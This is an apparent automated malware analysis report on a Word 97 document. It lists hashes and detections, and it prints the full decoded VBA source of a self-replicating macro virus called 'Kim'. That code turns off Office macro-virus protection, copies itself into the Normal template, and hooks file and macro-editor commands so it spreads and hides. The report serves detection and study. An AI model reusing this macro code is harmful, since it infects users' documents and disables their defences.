Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 619952c36e3eac8f…

MALICIOUS

Office (OLE)

47.5 KB Created: 1998-01-22 23:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8435aa113e2c9ab37bb774c25c4579b0 SHA-1: 7f2f3e02d247d21e967394d984f9461b731b395d SHA-256: 619952c36e3eac8f50cc22c4521f6ad49959e519f5181825734330e2c5ca836d
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and VBA macros, indicating malicious intent. The macro, named 'Kim', appears to be designed to obfuscate its presence and potentially download further payloads, as suggested by the 'Macro Made From The VicodinES Macro.Poppy Construction Kit' comment. The ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .VirusProtection = False
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2619 bytes
SHA-256: e9a98199e24baf8b5f4696d47fb366c8d3e0c7ac4ebf9ae8f21ea8583811c372
Detection
ClamAV: Doc.Trojan.Kla-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Kim"
    
Public Skip As Integer
Sub Kim()
On Error Resume Next

    'Macro Made From The VicodinES Macro.Poppy Construction Kit

Randomize
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
c = Int(Rnd * 100)
If c = 3 Then Call n
i = 0
Set j = MacroContainer
If j = NormalTemplate Then i = 1
If i = 1 Then k = NormalTemplate.FullName Else k = ActiveDocument.FullName
If i = 1 Then l = ActiveDocument.FullName Else l = NormalTemplate.FullName
Application.OrganizerCopy Source:=k, Destination:=l, Name:="Kim", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=k, Destination:=l, Name:="KLAFrm", Object:=wdOrganizerObjectProjectItems
If i = 1 And Skip <> 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If i = 0 Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
fuckoff:
End Sub
Sub FileNew()
    On Error Resume Next
    Call Kim
Dialogs(wdDialogFileNew).Show
    Skip = 1
    Call Kim
End Sub
Sub FileSave()
    On Error Resume Next
    Call Kim
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call Kim
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
    Call Kim
End Sub
Sub FilePrint()
    On Error Resume Next
Dialogs(wdDialogFilePrint).Show
    Call Kim
End Sub
Sub FileExit()
    On Error Resume Next
    Call Kim
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub n()
    On Error Resume Next
    KLAFrm.Show
End Sub

Attribute VB_Name = "KLAFrm"
Attribute VB_Base = "0{5966BD1B-935A-11D1-9F3B-44455354616F}{5966BD17-935A-11D1-9F3B-44455354616F}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.